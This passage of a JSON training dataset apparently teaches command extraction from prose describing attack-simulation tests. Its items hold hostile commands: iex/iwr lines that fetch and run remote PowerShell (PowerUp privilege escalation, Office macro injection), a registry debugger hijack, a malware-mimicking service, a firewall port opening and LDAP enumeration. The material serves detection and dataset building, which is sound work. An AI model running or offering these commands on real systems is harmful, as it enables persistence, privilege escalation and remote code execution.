  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To configure the Windows Error Reporting framework to launch a debugger when applications hang, use the following command: reg add \"HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\Hangs\\\" /v Debugger /t REG_SZ /d \\\"C:\\\\Windows\\\\System32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command collects system information including OS details and uptime, storing them in a file:\nuname -a >> #{output_file}\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   \nif [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi\nif [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi\nuptime >> #{output_file}\ncat #{output_file} 2>/dev/null",
    "output": "{\"command_list\": [\"uname -a >> #{output_file}\\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi\\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   \\nif [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi\\nif [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi\\nuptime >> #{output_file}\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To retrieve information from LDAPSearch, where the LDAP password corresponds to the admin-user password on Active Directory, use the following command: ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b \"CN=Users,DC=#{domain},DC=#{top_level_domain}\" \"(objectClass=group)\" -s sub -a always -z 1000 dn",
    "output": "{\"command_list\": [\"ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b \\\"CN=Users,DC=#{domain},DC=#{top_level_domain}\\\" \\\"(objectClass=group)\\\" -s sub -a always -z 1000 dn \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system can be powered off in FreeBSD or Linux environments with the command: poweroff",
    "output": "{\"command_list\": [\"poweroff\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replicate behavior seen in Snake Malware, execute this command which creates a WerFaultSvc service with the specified binary path: sc.exe create \"WerFaultSvc\" binPath= \"$env:windir\\WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe\" DisplayName= \"WerFault Service\" start= auto",
    "output": "{\"command_list\": [\"sc.exe create \\\"WerFaultSvc\\\" binPath= \\\"$env:windir\\\\WinSxS\\\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\\\WerFault.exe\\\" DisplayName= \\\"WerFault Service\\\" start= auto\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test establishes a listening interface on the target device, employing a technique documented in HARDRAIN's proxy operations, with the command: netsh advfirewall firewall add rule name=\"atomic testing\" action=allow dir=in protocol=TCP localport=450",
    "output": "{\"command_list\": [\"netsh advfirewall firewall add rule name=\\\"atomic testing\\\" action=allow dir=in protocol=TCP localport=450 \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing calc.exe via a .bat script created in AppData through Microsoft Office, execute this PowerShell command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{bat_path}`\" For Output As #1`n   Write #1, `\"calc.exe`\"`n   Close #1`n   a = Shell(`\"cmd.exe /c #{bat_path} `\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{bat_path}`\\\" For Output As #1`n   Write #1, `\\\"calc.exe`\\\"`n   Close #1`n   a = Shell(`\\\"cmd.exe /c #{bat_path} `\\\", vbNormalFocus)`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete 